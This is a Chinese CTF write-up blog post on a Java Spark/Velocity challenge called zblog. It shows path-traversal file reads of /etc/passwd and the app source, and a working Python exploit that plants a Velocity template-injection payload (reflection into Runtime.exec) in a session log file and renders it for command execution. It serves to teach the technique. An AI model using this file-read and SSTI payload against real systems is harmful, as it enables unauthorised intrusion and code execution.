美文网首页
钓鱼城-zblog

钓鱼城-zblog

作者: byc_404 | 来源:发表于2020-08-28 17:24 被阅读0次

最近忙着复习去了。等到中午概统的复习课结束了才有时间完整看下题。除开一道web-pwn,剩下两个php都是常规考点,就是脑洞跟环境真心恶心人。学弟们也轻松解决,应该不需要什么记录。我自己做了下zblog这道java题,简单记录下。

最近ciscn赛区第7打进分区赛。强网杯跟着SU打到12。(就是自己太捞了,难题一律卡壳,果然不好好研究php跟java是没有出路的).然后为了国赛出了道Node.js不知道有没有机会拿到别的赛区去,估计真拿了会丢人吧。复习的时间也很少。不知道考试会不会炸......但是每次结束一个阶段总要写写文章的。所以形式化地写写。

zblog

简单java.就是环境卡的要死。

title参数存在文件读取。后面看源码会发现是任意模板文件渲染的。
这里没记错的话有个小细节就是不能随便插../来穿越路径。后面会发现它是拼接路径的所以路径不能随便构造。而且似乎一开始尝试读文件的时候有点迷。文件末尾加了个/才能读到,不加读不到。不知道是什么神必操作。然后后来好像又给修好了???

总之fuzz一下可以找到根目录的位置读到/etc/passwd。接着读下/proc/self/cmdline

java -jar /home/ctf/web/target/web-1.0-SNAPSHOT-jar-with-dependencies.jar

个人觉得python跟java环境在有arbitary file read的情况下读下cmdline挺重要的。基本都会暴露绝对路径。比如此处。
更重要的是这个target.写过maven项目的都知道maven build好的内容都放在target文件夹下。所以这里基本确定能够确定按maven项目结构来读文件。

只要知道结构就等于把所有文件都暴露出来了。


先读下pom.xml。发现

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>ctf</groupId>
    <artifactId>web</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporing.outputEncoding>UTF-8</project.reporing.outputEncoding>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.sparkjava</groupId>
            <artifactId>spark-core</artifactId>
            <version>2.9.2</version>
        </dependency>
        <dependency>
            <groupId>com.sparkjava</groupId>
            <artifactId>spark-template-velocity</artifactId>
            <version>2.7.1</version>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.30</version>
        </dependency>
        <dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity</artifactId>
            <version>1.7</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <archive>
                        <manifest>
                            <mainClass>Blog</mainClass>
                        </manifest>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assemble</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
     
        </plugins>
    </build>

</project>

从mainclass这里的值可以看出加载的主类Blog.class。按照maven默认没有包的结构直接读../../../../src/main/java/Blog.java

import static spark.Spark.*;
import java.io.*;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import spark.template.velocity.VelocityTemplateEngine;


import java.io.StringWriter;

public class Blog {

    private static void log(String fname, String content) {
        try {
            FileWriter writer = new FileWriter(fname, true);
            writer.write(content);
            writer.close();
        } catch (IOException e) {

        }
    }

    public static void main(String[] arg) {
        staticFiles.location("/public");

        VelocityEngine velocityEngine = new VelocityEngine();
        velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
        velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "/");
        velocityEngine.init();
        VelocityContext context = new VelocityContext();

        get("/", (request, response) -> {
            request.session(true);
            String title = request.queryParams("title");
            if (title != null) {
                log("/tmp/" + request.session().id(), "Client IP: " + request.ip() + " -> File: " + title + "\n");
                Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/" + title);
                StringWriter sw = new StringWriter();
                template.merge(context, sw);
                return sw;
            }
            Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/index");
            StringWriter sw = new StringWriter();
            template.merge(context, sw);
            return sw;
        });
    }
}

代码逻辑是title参数除了会按值找到对应模板文件渲染。还会将参数按照sessionid存储到tmp/下。那么此处应该先传payload再进行渲染。即可触发ssti达成rce.
session为node0wjq18duzt9pg4ddli5qyyfqn3034.node0这种形式。id去掉.node0即可。

简单写个exp

import requests


url='http://122.112.253.135/'

session='node0wjq18duzt9pg4ddli5qyyfqn3034.node0'
id=session.rstrip('.node0')
'''
data={'title':'../../../../src/main/java/Blog.java'}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)
'''
data={'title':"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('grep -r flag /tmp')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
data={'title':'../../../../../../../tmp/'+id}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)

这个payload是找了个velocity回显的payload写的。逻辑上还是反射就不多说了。其实之前学习JavaSec那个项目里的sstipayload也能执行。但是似乎外带时有点问题。

唯一比较狗的就是flag在/tmp下。在tmp列目录会因为session文件太多进行相关操作直接卡死。一个个试发现最后只有grep -r flag /tmp不会卡。做完后发现换了个节点,flag放根目录了......

就这么多吧。希望新学期一切顺利。比赛成绩能更进一步。整个暑假学习的知识,做过的题,打过的比赛让这两个月没有荒废,收获还是挺大的。比较可惜的是本来打算跟完的Commoncollections几条链子以及jackson,shiro等等exp的原理没能全部完成。希望过段时间能把坑填了。

相关文章

  • 钓鱼城-zblog

    最近忙着复习去了。等到中午概统的复习课结束了才有时间完整看下题。除开一道web-pwn,剩下两个php都是常规考点...

  • 我是怎样开发一款zblog应用的 - 腾讯云cos储存插件开发过

    说到zblog插件,首先肯定要有zblog,先下载安装zblog,在管理后台登陆上开发者账号(确保开发者模式为开...

  • 合川钓鱼城

    Day 4

  • 重庆☞钓鱼城

    钓鱼城,位于长江上游地区、重庆合川区城东5公里的钓鱼山上。其山突兀耸立,相对高度约300米。山上有一块平整巨石,传...

  • 钓鱼城怀古

    绝立山峦百尺巅, 嘉陵滚滚越千年。 处处凛然忠烈气, 将军白发笑江天。

  • 钓鱼城怀古

    涛声依旧嘉陵江,苔藓漫侵古城墙。 大宋得延二十年,但因金钩钓番王。

  • 苦读《钓鱼城》

    在这年月 读一首长诗需要耐心 读钓鱼城还需要血性 读一段历史更需要悲悯情怀 写一首历史长诗 需要多少次田野调查 他...

  • 浣溪沙.钓鱼城

    古壁高槐带剑刀, 镝如风急压城高, 三江水暗夜呼号。 眼底山河长万里, 楼前肝胆岂今朝? 将军百战解征袍。 过合川...

  • 钓鱼城记

    时庚子三月廿三,余携小友同登钓鱼城,昔合州之胜迹,番夷之国谓“上帝折鞭处”是也。 拾石阶而上,须臾...

  • 钓鱼城咏怀

    今天是第八个烈士纪念日,正巧登上这曾改变世界历史被称为“东方麦加”的英雄之城--重庆合川钓鱼城。 鱼山环绕...

网友评论

      本文标题:钓鱼城-zblog

      本文链接:https://www.haomeiwen.com/subject/svghsktx.html